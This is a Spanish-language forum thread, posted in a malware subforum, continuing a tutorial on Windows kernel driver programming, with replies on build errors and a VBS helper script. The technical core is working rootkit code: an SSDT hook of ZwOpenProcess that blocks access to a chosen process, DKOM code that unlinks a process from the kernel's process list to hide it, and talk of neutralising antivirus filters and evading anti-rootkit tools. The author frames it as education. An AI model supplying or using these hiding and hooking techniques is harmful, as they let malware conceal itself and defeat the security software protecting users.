  49. if (PID == (HANDLE)1234) return STATUS_ACCESS_DENIED; //Retornamos acceso denegado
  50. else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
  51. }
  52.  
  53. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  54. {
  55.   DbgPrint("Descargando driver...");
  56.  
  57.   //Unhookeamos
  58.   UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
  59.  
  60.   //Eliminamos la MDL
  61.   if(g_pmdlSystemCall)
  62.   {
  63.      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  64.      IoFreeMdl(g_pmdlSystemCall);
  65.   }
  66. }
  67.  
  68. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
  69. {
  70.   DriverObject->DriverUnload  = OnUnload;
  71.  
  72.   DbgPrint("Driver cargado");
  73.   ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
  74.  
  75.   //Creamos la MDL para deshabilitar la protección de memoria
  76.   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
  77.   if(!g_pmdlSystemCall)
  78.      return STATUS_UNSUCCESSFUL;
  79.  
  80.   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  81.  
  82.   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  83.  
  84.   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  85.  
  86.  
  87.   DbgPrint("Hookeando...");
  88.   HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
  89.  
  90.   return STATUS_SUCCESS;
  91. }

El código bloquea el acceso al proceso cuyo pid sea 1234, evidentemente podeis modificarlo para bloquear el que querais.

Echo esto, me veo obligado a modificar el indice para incluir el capítulo 4 en este, asi que se va a reducir en un capítulo.

Un Saludo  :)



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Karcrack en 15 Octubre 2008, 23:29 pm
Muy buen manual :o, al intentar compilar el ultimo codigo (El de bloquear el acceso a un PID) me sale esto... asi que supongo que algo falla :xD:

Citar
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Object root set to: ==> objfre_wxp_x86
BUILD: Compile and Link for i386
BUILD: Examining c:\documents and settings\administrador\escritorio directory fo
r files to compile.
BUILD: Compiling (NoSync) c:\documents and settings\administrador\escritorio dir
ectory
errors in directory c:\documents and settings\administrador\escritorio
NMAKE : warning U4006: special macro undefined : '$<'
Compiling - objfre_wxp_x86\i386 for all platforms
NMAKE : warning U4006: special macro undefined : '$<'
Compiling - objfre_wxp_x86\i386 for all platforms
NMAKE : warning U4006: special macro undefined : '$<'
Compiling - objfre_wxp_x86\i386 for all platforms
BUILD: Compile errors: not linking c:\documents and settings\administrador\escri
torio directory
BUILD: Done

    3 files compiled - 3 Errors

Saludos y gracias ;)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: ~~ en 16 Octubre 2008, 00:41 am
Pon los archivos en una ruta mas  corta, por ejemplo C:\rootkit o algo por el estilo y prueba :P


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: sch3m4 en 16 Octubre 2008, 03:33 am
Pon los archivos en una ruta mas  corta, por ejemplo C:\rootkit o algo por el estilo y prueba :P

la ruta de trabajo no debe contener espacios


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Rozor en 16 Octubre 2008, 14:53 pm
Hendrix mamoencete podrias haber avisado de la publicacion ajjajaj.

Esta guapo :D

No sabia yo que ahi se podia usar cr0 tambien se puede usar cli y sti ¿?.


A por cierto problemas de compilacion y creo que tengo todo bien :S

build -cZ
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Compile and Link for i386
BUILD: Done

:/

Thank :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 16 Octubre 2008, 18:21 pm
A por cierto problemas de compilacion y creo que tengo todo bien :S

build -cZ
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Compile and Link for i386
BUILD: Done

la ruta de trabajo no debe contener espacios

 :D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Karcrack en 16 Octubre 2008, 18:23 pm
A por cierto problemas de compilacion y creo que tengo todo bien :S

build -cZ
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Compile and Link for i386
BUILD: Done

la ruta de trabajo no debe contener espacios

 :D

Me da el mismo problema, y no tiene ningun espacio, la ruta es C:\Drivers

Y me devuelve esto:

Código:
C:\Drivers>build -cZ
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Object root set to: ==> objfre_wxp_x86
BUILD: Compile and Link for i386
BUILD: Done

Tal vez se deba a la arquitectura de mi PC? Es 32bits... Win2 XP SP3...

No se a que se debe :-\.. justo ahora que habia hecho mi primer intento de driver :laugh:




FALLO SOLUCIONADO
Bueno, el problema era que tenia los ficheros SOURCES y MAKEFILE mal :¬¬ :xD
Perdon por las molestias :-[ :xD

Saludos ;D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Karcrack en 16 Octubre 2008, 23:12 pm
Lamento el Doble Post :-[ pero creo que es por una buena causa :xD

Bueno, harto de tener que hacer cada vez de forma manual los ficheros MAKEFILE y SOURCES hize este pequeño script en VBS :D Aqui lo dejo para que todo el mundo pueda usarlo :).

Código
  1. '@
  2. 'Title: Script Asistente para creado de Drivers
  3. 'Autor: Karcrack
  4. 'Funcion: Crea los ficheros MAKEFILE y SOURCES necesarios para la compilacion de Drivers con el DDK...
  5. 'Fecha: 16/10/08
  6. 'Hora Finalizacion: 23:02
  7. '@
  8.  
  9. 'Declaramos las variables
  10. Dim FSO, File, WSH, Data, Nombre
  11. 'Cargamos el FileSystemObject
  12. Set FSO = CreateObject("Scripting.FileSystemObject")
  13. 'Cargamos el Windows Script Host. Shell
  14. Set WSH = CreateObject("WScript.Shell")
  15. 'Si el fichero tiene algun espacio advertimos de que dara problemas para ser compilado
  16. If InStr(1 , WScript.Arguments(0), Space(1)) <> 0 then
  17. MsgBox "Te recuerdo, que para compilar correctamente los Drivers la ruta no debe contener espacios",,"Advertencia:"
  18. end if
  19. 'Pedimos el nombre del Driver
  20. Nombre = Inputbox("Introduce el nombre de tu Driver" , "Asistente de creacion de Drivers:" , "Driver1")
  21. 'Comprobamos que el usuario a escrito algo
  22. If Nombre <> "" then
  23. 'Abrimos el fichero en modo Write y si no existe se crea. El fichero SOURCES se creara en la misma carpeta que el fichero que arrastres a este script.
  24. Set File = FSO.OpenTextFile( Left(WScript.Arguments(0),InStrRev(WScript.Arguments(0),"\")) & "SOURCES", 2, True)
  25. 'Completamos la configuracion
  26. Data = "TARGETNAME=" & Nombre & VbCrLf & "TARGETPATH=." & VbCrLf & "TARGETTYPE=DRIVER" & VbCrLf & VbCrLf & "SOURCES=" & Mid(WScript.Arguments(0),InStrRev(WScript.Arguments(0),"\")+1)
  27. 'Agregamos la informacion
  28. File.WriteLine( Data )
  29. 'Cerramos el fichero
  30. File.Close
  31. 'Ya hemos creado el fichero SOURCES, ahora crearemos el fichero MAKEFILE
  32. Set File = FSO.OpenTextFile( Left(WScript.Arguments(0),InStrRev(WScript.Arguments(0),"\")) & "MAKEFILE", 2, True)
  33. 'Agregamos la informacion
  34. File.WriteLine( "!INCLUDE $(NTMAKEENV)\makefile.def" )
  35. 'Cerramos el fichero
  36. File.Close
  37. Else
  38. Msgbox "Has cancelado o has dejado en blanco el nombre del Driver, el Asistente no proseguira..."
  39. End if

Instalacion: Guardalo con cualquier editor de textos plano en formato *.vbs.
Uso: Arrastra el fichero de codigo (*.c o *.cpp) al fichero que creaste (*.vbs) y en la misma ruta que el fichero de codigo se crearan los otros ficheros ;)

Saludos, espero que sea util :D

PD: Espero que no te moleste Hendrix, estamos desordenandote un poco el post :-[.. bueno, si lo sacas en PDF no pasa nada :rolleyes: :xD


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 16 Octubre 2008, 23:20 pm
PD: Espero que no te moleste Hendrix, estamos desordenandote un poco el post :-[.. bueno, si lo sacas en PDF no pasa nada :rolleyes: :xD

Todo lo contrario, me gusta ver que el texto motiva a la gente a programar (sea a modo kernel o sea en vbs  :xD)

Por cierto, estaba terminando el artículo de la eprocess y una mala combinación de teclas me ha echo volver la pagina atrás en el firefox, al intentar cargarla otra vez pulsando la flechita de siguiente pagina, se me quedó todo en blanco  :-X :-X Llevaba un montón de lineas escritas, y con la desmotivación que esto provoca, continuaré el post mañana  :xD :xD Na, aparte de esto mañana tengo examen y no es plan de pasarme media horita volviendo a escribirlo, mejor lo dejo para mañana.

Un Saludo  :D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Thor en 16 Octubre 2008, 23:37 pm
Impresionante, espero sacar agallas para probarlo algún día.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Rozor en 17 Octubre 2008, 01:16 am
Karcrack de p**a madre tio con ese script has facilitado bastante el seguimiento del tutorial :D

Y hendrix gracias por la ayuda :D


Me voy a animar a escribir hacia tiempo que no veia este buen rollo en un foro :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Yibam en 20 Octubre 2008, 11:46 am
Hola a todos,

Una pregunta:

Yo de Microsoft no me he bajado las DDK sino la WDK, parece ser una version mas moderna o no se?. Por ahi va mi pregunta, habeis trabajado con este entorno?

Ok gracias por todo, estaba leyendome este verano los dos libros recomendados pero me pare y viendo este POST me he vuelto a animar ...

Adelante el modo kernel ...


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: ‭‭‭‭jackl007 en 23 Octubre 2008, 22:29 pm
veo q a modo de kernel se pueden hacer cosas muy poderosas, y se podria desbloquear la vigilancia de los antivirus?


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 23 Octubre 2008, 23:27 pm
Desde modo kernel se puede hacer de todo prácticamente. Hace un par de semanas escribí un artículo sobre envenenamiento de memoria en drivers, básicamente trataba de inyectar codigo tuyo dentro del de los drivers, y podrías, por ejemplo, envenenar la memoria de los AV para anular sus filtros. Algunos softwares de seguridad vigilan la SSDT para que no restauren sus hooks, otros ni siguiera esto. Con mi método se podría burlar todos esos, excepto los que vigilan sus propias variables (hay esta el fallo).

Por cierto, ahora que tengo algo de tiempo intentare terminar este documento.

Un Saludo  :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 24 Octubre 2008, 00:11 am
4. Direct Kernel Object Manipulation (DKOM)


En el kernel se guardan muchísimas estructuras, pero la que nos interesa a nosotros es la eprocess. En ella se guarda la información de cada proceso.

4.1 Eprocess

En el kernel hay una estructura eprocess para cada proceso. El método con la que se enlazan es mediante un puntero que apunta la siguiente estructura y otro que apunta al anterior. Aquí una imagen que ilustra lo explicado:

(http://www.malekal.com/fichiers/forum/rootkits/plist.jpg)

Lo que tendremos que hacer para esconder nuestro proceso es modificar la eprocess anterior y la posterior para que quede así:

(http://www.malekal.com/fichiers/forum/rootkits/plist2.jpg)

Como vemos, nos desenlazamos de la cadena y lo que provocamos es que pasemos desapercibidos ante cualquier api que intente recorrer la estructura, ya que hemos roto el enlace que nos unía a las demás.

El DKOM depende mucho de la plataforma en la que se este ejecutando el driver, ya que las estructuras cambian de posición según la versión de nuestro SO.

4.2 Ocultando procesos sin Hooks

Vamos a empezar a picar código. Lo esencial antes de hacer nada es saber que vamos a hacer y como lo vamos a hacer, así que lo fundamental es conocer la estructura, las posiciones de sus elementos, etc.  Para ello vamos a ver como esta compuesta la eprocess, y nuestra herramienta para ello sera el WinDbg.

Lo abrimos, lo colocamos en Kernel > local. Una vez aquí tenemos que cargar los symbolos si no los tenemos cargados ya. Para descargarlos escribid esto:

SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols

Tened en cuenta que la carpeta debe existir. Una vez echo esto escribamos lo siguiente: dt Nt!_eprocess y nos enseña esto:

Citar
Nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER
   +0x078 ExitTime         : _LARGE_INTEGER
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void
   +0x088 ActiveProcessLinks : _LIST_ENTRY
   +0x090 QuotaUsage       : [3] Uint4B
   +0x09c QuotaPeak        : [3] Uint4B
   +0x0a8 CommitCharge     : Uint4B
   +0x0ac PeakVirtualSize  : Uint4B
   +0x0b0 VirtualSize      : Uint4B
   +0x0b4 SessionProcessLinks : _LIST_ENTRY
   +0x0bc DebugPort        : Ptr32 Void
   +0x0c0 ExceptionPort    : Ptr32 Void
   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE
   +0x0c8 Token            : _EX_FAST_REF
   +0x0cc WorkingSetLock   : _FAST_MUTEX
   +0x0ec WorkingSetPage   : Uint4B
   +0x0f0 AddressCreationLock : _FAST_MUTEX
   +0x110 HyperSpaceLock   : Uint4B
   +0x114 ForkInProgress   : Ptr32 _ETHREAD
   +0x118 HardwareTrigger  : Uint4B
   +0x11c VadRoot          : Ptr32 Void
   +0x120 VadHint          : Ptr32 Void
   +0x124 CloneRoot        : Ptr32 Void
   +0x128 NumberOfPrivatePages : Uint4B
   +0x12c NumberOfLockedPages : Uint4B
   +0x130 Win32Process     : Ptr32 Void
   +0x134 Job              : Ptr32 _EJOB
   +0x138 SectionObject    : Ptr32 Void
   +0x13c SectionBaseAddress : Ptr32 Void
   +0x140 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x144 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
   +0x148 Win32WindowStation : Ptr32 Void
   +0x14c InheritedFromUniqueProcessId : Ptr32 Void
   +0x150 LdtInformation   : Ptr32 Void
   +0x154 VadFreeHint      : Ptr32 Void
   +0x158 VdmObjects       : Ptr32 Void
   +0x15c DeviceMap        : Ptr32 Void
   +0x160 PhysicalVadList  : _LIST_ENTRY
   +0x168 PageDirectoryPte : _HARDWARE_PTE
   +0x168 Filler           : Uint8B
   +0x170 Session          : Ptr32 Void
   +0x174 ImageFileName    : [16] UChar
   +0x184 JobLinks         : _LIST_ENTRY
   +0x18c LockedPagesList  : Ptr32 Void
   +0x190 ThreadListHead   : _LIST_ENTRY
   +0x198 SecurityPort     : Ptr32 Void
   +0x19c PaeTop           : Ptr32 Void
   +0x1a0 ActiveThreads    : Uint4B
   +0x1a4 GrantedAccess    : Uint4B
   +0x1a8 DefaultHardErrorProcessing : Uint4B
   +0x1ac LastThreadExitStatus : Int4B
   +0x1b0 Peb              : Ptr32 _PEB
   +0x1b4 PrefetchTrace    : _EX_FAST_REF
   +0x1b8 ReadOperationCount : _LARGE_INTEGER
   +0x1c0 WriteOperationCount : _LARGE_INTEGER
   +0x1c8 OtherOperationCount : _LARGE_INTEGER
   +0x1d0 ReadTransferCount : _LARGE_INTEGER
   +0x1d8 WriteTransferCount : _LARGE_INTEGER
   +0x1e0 OtherTransferCount : _LARGE_INTEGER
   +0x1e8 CommitChargeLimit : Uint4B
   +0x1ec CommitChargePeak : Uint4B
   +0x1f0 AweInfo          : Ptr32 Void
   +0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x1f8 Vm               : _MMSUPPORT
   +0x238 LastFaultCount   : Uint4B
   +0x23c ModifiedPageCount : Uint4B
   +0x240 NumberOfVads     : Uint4B
   +0x244 JobStatus        : Uint4B
   +0x248 Flags            : Uint4B
   +0x248 CreateReported   : Pos 0, 1 Bit
   +0x248 NoDebugInherit   : Pos 1, 1 Bit
   +0x248 ProcessExiting   : Pos 2, 1 Bit
   +0x248 ProcessDelete    : Pos 3, 1 Bit
   +0x248 Wow64SplitPages  : Pos 4, 1 Bit
   +0x248 VmDeleted        : Pos 5, 1 Bit
   +0x248 OutswapEnabled   : Pos 6, 1 Bit
   +0x248 Outswapped       : Pos 7, 1 Bit
   +0x248 ForkFailed       : Pos 8, 1 Bit
   +0x248 HasPhysicalVad   : Pos 9, 1 Bit
   +0x248 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x248 SetTimerResolution : Pos 12, 1 Bit
   +0x248 BreakOnTermination : Pos 13, 1 Bit
   +0x248 SessionCreationUnderway : Pos 14, 1 Bit
   +0x248 WriteWatch       : Pos 15, 1 Bit
   +0x248 ProcessInSession : Pos 16, 1 Bit
   +0x248 OverrideAddressSpace : Pos 17, 1 Bit
   +0x248 HasAddressSpace  : Pos 18, 1 Bit
   +0x248 LaunchPrefetched : Pos 19, 1 Bit
   +0x248 InjectInpageErrors : Pos 20, 1 Bit
   +0x248 VmTopDown        : Pos 21, 1 Bit
   +0x248 Unused3          : Pos 22, 1 Bit
   +0x248 Unused4          : Pos 23, 1 Bit
   +0x248 VdmAllowed       : Pos 24, 1 Bit
   +0x248 Unused           : Pos 25, 5 Bits
   +0x248 Unused1          : Pos 30, 1 Bit
   +0x248 Unused2          : Pos 31, 1 Bit
   +0x24c ExitStatus       : Int4B
   +0x250 NextPageColor    : Uint2B
   +0x252 SubSystemMinorVersion : UChar
   +0x253 SubSystemMajorVersion : UChar
   +0x252 SubSystemVersion : Uint2B
   +0x254 PriorityClass    : UChar
   +0x255 WorkingSetAcquiredUnsafe : UChar
   +0x258 Cookie           : Uint4B

Lo que nos interesa a nosotros es esta estructura que se encuentra dentro de la eprocess: +0x088 ActiveProcessLinks : _LIST_ENTRY

Esta es la que apunta a las demás estructuras.

Un esquema de lo que tenemos que hacer es el siguiente:

  • Almacenar la dirección de la primera eprocess
  • Recorrer las demás estructuras hasta llegar a nuestro proceso
  • Modificar la estructura anterior y la siguiente para que no nos apunten a nosotros.

Para sacar la primera eprocess lo podemos hacer con la siguiente API: PsGetCurrentProcess.

A continuación dejo un código de lympex para sacar la eprocess de nuestro proceso a partir del PID.

Código
  1. unsigned long BuscaEPROCESSPid(unsigned int Pid)
  2. {
  3. unsigned long eproc,aux,proceso,ret;
  4. PLIST_ENTRY lista;
  5. unsigned int idProceso=0;
  6.  
  7. eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
  8. lista=(LIST_ENTRY*)(eproc+0x88);//tenemos los punteros al siguiente y al anterior
  9. aux=(unsigned long)lista->Blink;
  10. proceso=(unsigned long)lista;
  11. idProceso=*((int *)(proceso+0x84));
  12.  
  13. while(aux!=proceso && Pid!=idProceso)//recorremos la lista
  14. {
  15. proceso-=0x88;
  16. ret=proceso;
  17.  
  18. idProceso=*((int *)(proceso+0x84));
  19. //avanzamos
  20. lista=lista->Flink;
  21. proceso=(unsigned long)lista;
  22. }
  23.  
  24. if(Pid!=idProceso)
  25. ret=0;
  26.  
  27. return ret;
  28. }

Como vemos va recorriendo la estructura, y una vez localizada la estructura de nuestro proceso devolvemos la dirección de su estructura eprocess.

Para ocultarlo solamente tendríamos que hacer lo siguiente:

Código
  1. PLIST_ENTRY plist_active_procs;
  2. unsigned long eproc=0;
  3.  
  4. eproc=BuscaEPROCESSPid(1234);
  5. plist_active_procs = (LIST_ENTRY *)(eproc+0x88);
  6. plist_active_procs->Blink->Flink=plist_active_procs->Flink;
  7. plist_active_procs->Flink->Blink=plist_active_procs->Blink;
  8.  

Una vez echo esto el proceso con el pid 1234 quedaría oculto. Aunque no del todo, ya que algunos softwars anti-rootkits lo detectan, pero las APIs que sirven para listar los procesos no.

Hay varios métodos para detectar los procesos ocultados pro dkom. Algunos de método que usan los Anti-Rootkits es el análisis por fuerza bruta (para sacar la eprocess de los procesos que van del 5 al 99999 por ejemplo y comparándola con los saltos en la estructura eprocess), aunque hay más. Para saltarse estas protecciones es necesario modificar también la tabla de handles, el rootkit que hace esto es el FuTo, una versión mejorada del FU.

La intención de este documento no es la de que los script-kiddies hagan un copy paste del código expuesto, lo incrusten en sus virus y los manden a sus amigos. La intención de este documento es que los lectores se animen a adentrarse en el mundo del modo kernel, hay muchísimos temas más que son igual o más interesantes que los que se explicaron aquí, se puede hacer software cuyos fines sean muy distintos, como software anti-rootkits, firewalls, y un largo etc.


Nada más, solo me queda agradecer a las personas que me dieron el empujón en esto del modo kernel y las que aprendieron junto a mi. A todas ellas, muchas gracias  :)


Un Saludo  :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Metallica007 en 24 Octubre 2008, 10:47 am
Buenos dias. Mi idea era hacer un driver para comunicarme con un PIC a traves del puerto USB de una manera parecida al RS232. No se como puedo hacerlo y no he encontrado información para ello. No quiero utilizar un driver hecho ya si no hacerlo íntegramente. Si pueden ayudarme lo agradeceria. Un saludo.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 24 Octubre 2008, 11:04 am
Como puedes ver, este documento esta en el subforo de Análisis y diseño de malware, por lo tanto, este documento no resuelve dudas técnicas sobre este tipo. Solo da unas bases para que luego tu puedas profundizar en la rama que te guste más.

Para lo que pides probablemente necesites reescribir un driver para usb o crearte un filter driver (http://en.wikipedia.org/wiki/Filter_driver). Hay varias soluciones para lo que pides, busca en google y elige la que más te convenga.

Un Saludo  :)



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 24 Octubre 2008, 11:14 am
Ya e transformado el documento a PDF, si alguien encuentra un error que me lo reporte para poderlo corregir.

Mirror (http://hsec.files.wordpress.com/2008/10/introduccion-a-la-programacion-de-drivers.pdf)

Un Saludo  :D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Dynamique en 24 Octubre 2008, 15:27 pm
Muy bueno al final, lo pondre en practica cuando acabe los examenes

Gracias  (:



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Karcrack en 24 Octubre 2008, 16:17 pm
Muy bueno :D :D
Este finde me lo mirare a fondo ::), pero primero he de aprender un poco mas de C :xD



MOD: Una pregunta, en modo Kernel se pueden usar las APIs habituales? O he de usar APIs especiales como las ZwXXX...?

Saludos ::)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: byebye en 25 Octubre 2008, 00:32 am
Citar
Una pregunta, en modo Kernel se pueden usar las APIs habituales?

si te refieres a MessageBox etc logicamente no. bajate la documentacion.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: LixKeÜ en 25 Octubre 2008, 06:42 am
 Muy bueno Hendrix.. me alegra mucho que lo hayas terminado y lo hiciste en un tiempo muy corto .. bueno aver cuando me lo leo bien y buee ya tendre mis dudas tambien ... ;D. Espero que lo sigas mejorando y gracias desde ya.

 Subite algunos compilados tambien ;D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 25 Octubre 2008, 12:45 pm
Evidentemente en este documento no esta todo, me e dejado muchísimas cosas que si las tuviese que comentar me quedaría un documento demasiado largo, así que no os limitéis solamente a este documento, hay webs especializadas muy buenas y documentos muy buenos (En la blackhat hay un montón y todos ellos interesantes  ;)).

Un Saludo  :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Stacker en 2 Noviembre 2008, 20:37 pm
Muchas gracias. No creo que falte demasiado, es lo suficiente (y bueno) para que cada uno profundice por su cuenta.

Saludos


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Lambda en 2 Noviembre 2008, 20:45 pm
siempre quise saber como modificar la lista de handles de Windows pero nunca encontre nada al respecto, hendrix tienes algun link donde expliquen algo?  :xD


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: e500 en 12 Noviembre 2008, 16:37 pm
Exelente! sin palabras... simpre Sorprendiendo   :o

Gracias [Hendrix ]

Salu2


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 12 Noviembre 2008, 21:59 pm
siempre quise saber como modificar la lista de handles de Windows pero nunca encontre nada al respecto, hendrix tienes algun link donde expliquen algo?  :xD

Aqui tienes: http://www.uninformed.org/?v=3&a=7&t=txt

Un Saludo  :D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Lambda en 24 Noviembre 2008, 13:09 pm
siempre quise saber como modificar la lista de handles de Windows pero nunca encontre nada al respecto, hendrix tienes algun link donde expliquen algo?  :xD

Aqui tienes: http://www.uninformed.org/?v=3&a=7&t=txt

Un Saludo  :D

Gracias Hendrix, ya se como funciona el tema de los handles, aver si consigo hacer algo  ;D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: elo_gc en 24 Noviembre 2008, 23:29 pm
Hola!
No sé si podreis echarme una mano, pero es que voy a tener que programar un driver de un adaptador de pantalla virtual para windows.

No sé si me estoy metiendo en algo demasiado complicado y es mejor que lo deje antes de empezar. Como veo que teneis bastantes conocimientos de drivers me gustaria que me aconsejaseis y me dijeseis si es tan dificil como me parece.

Si no es una locura lo que me propongo hacer, me gustaria que me aconsejaseis algun libro donde pueda documentarme.
Mientras voy a empezar a empollarme este manual que tiene muy buena pinta.

Muchas gracias.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 25 Noviembre 2008, 09:16 am
Bueno, programar lo que pides si es posible. Este manual hay apartados que si que te interesaran y otros que no, ya que esta orientado al malware, pero la parte de comunicación y demás si te puede servir  ;)

Si planteas mejor el problema en el subforo de programación general quizás te puedan echar una mano  ;)

Un Saludo  :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: elo_gc en 25 Noviembre 2008, 14:48 pm
Muchas gracia, seguire investigando por ahi, a ver si tengo suerte.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: traxtor en 25 Noviembre 2008, 15:17 pm
Hola

Lo mejor que he visto en cuanto a libros para la programacion de drivers en Windows son de un tal Walter Oney:

http://www.oneysoft.com/

Saludos

PD: Si considerais este mensaje un offtopic sentiros libre de eliminarlo.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: angelrobi en 28 Noviembre 2008, 19:12 pm
muy buno el manual y hasta pronto amigos,.-.--.-.-.-.--


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Nork en 5 Diciembre 2008, 14:16 pm
Tengo un problema al intentar cargar los symbols:

SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols

Citar
lkd> SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols
Couldn't resolve error at 'RV*c:\websymbols*http://msdl.microsoft.com/download/symbols'

La carpeta C:\websymbols la tengo creada  :-\


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 5 Diciembre 2008, 19:05 pm
ve a File -> Symbol file path y coloca eso hay.

Luego dentro del deputador mete estos comandos:

.symfix
.reload

Y listo  ;)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Nork en 5 Diciembre 2008, 19:15 pm
Perfecto, gracias  ;)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: traviatØ en 10 Diciembre 2008, 12:31 pm
Hola 1 salu2, me preguntaba si la programacion de drivers a la que se refiere en este post, aplica o es valida, en windows xp sp1 sp2 ... windows vista etc en varias versiones, es decir no importa la version de windows? bueno supongo que claro no debe de 'aplicar' para versiones muy antiguas.. salu2s


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 10 Diciembre 2008, 12:45 pm
Siempre que no uses nada "harcodeado" te va a funcionar. En el ejemplo del DKOM, tienes que mirar que las direcciones de las diferentes ramas de la estructura eprocess sean en la dirección adecuada, las direcciones cambian según versión  ;)

Un Saludo  :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: EREBOR en 22 Diciembre 2008, 09:29 am
Buenos dias!!
Hoy me e puesto con el manual, bueno lo e intentado ya que nada mas empezar dice: "Para compliar lo que tienen que hacer es crear una carpeta y dentro meter el codigo (main.c por ejemplo) y un archivo SOURCE y un MAKEFILE."

Bueno ahora mi duda xD, seguro que parecerá mu novata pero estoy empezando jejeje, el SOURCE y el MAKEFILE ambos los cree a partir de un .txt en el cual meti los comandos y luego el SOURCE lo pase a .list y el MAKEFILE a .def, estos tampoco sabia como crearlos pero buscando un poco en google descubri que se podia hacer asi...Pero lo que no encuentro es como meter el codigo main.c en la carpeta...

Gracias!!!
Y perdon por las molestias!! ;)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Karcrack en 22 Diciembre 2008, 12:06 pm
@EREBOR

En este mismo post hice un script en VBS para ahorrarnos todo ese trabajo :xD

Seguramente te sirva ;D

Saludos ;)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: newone en 8 Enero 2009, 01:27 am
buen manual, me podrian decir si puedo usar visual c++ 6 con el wdk que me baje, algunos dice que es muy antiguo para el wdk pero quiero que me lo diga alguno que sepa que este seguro mas que nada y si no se puede usar visual 6 que me digan que visual c++ puedo usar que version gracie  ;D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: traxtor en 8 Enero 2009, 21:01 pm
Hola

Sin intencion de desmerecer para nada el manual del compañero Hendrix (de hecho es una de las fuentes de informacion que yo mismo utilice) en mi blog hay publicada una entrada y un codigo fuente relacionado con el tema:

http://neosysforensics.blogspot.com/2008/11/ocultacin-de-procesos-en-windows-dkom.html

Saludos


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: escabe en 19 Enero 2009, 20:24 pm
He estado siguiendo con mucho interés este hilo y me ha parecido muy bueno. Doy las gracias sinceras a Hendrix por su trabajo y darme la oportunidad de aprender a programas drivers.

He hecho prácticas con el Hook a ZwOpenProcess y me a funcionado bien.
Saludos.

PD:
Quisiera aportar al hilo otra forma de conseguir un Hook, por ejemplo a la misma API mencionada:

Código:
VOID Hook()
{
   _asm cli
   ZwOpenProcessIni =(PZwOpenProcess)(SYSTEMSERVICE(ZwOpenProcess));
   (PZwOpenProcess)(SYSTEMSERVICE(ZwOpenProcess)) = NewZwOpenProcess;
   _asm sti
}

VOID UnHook()
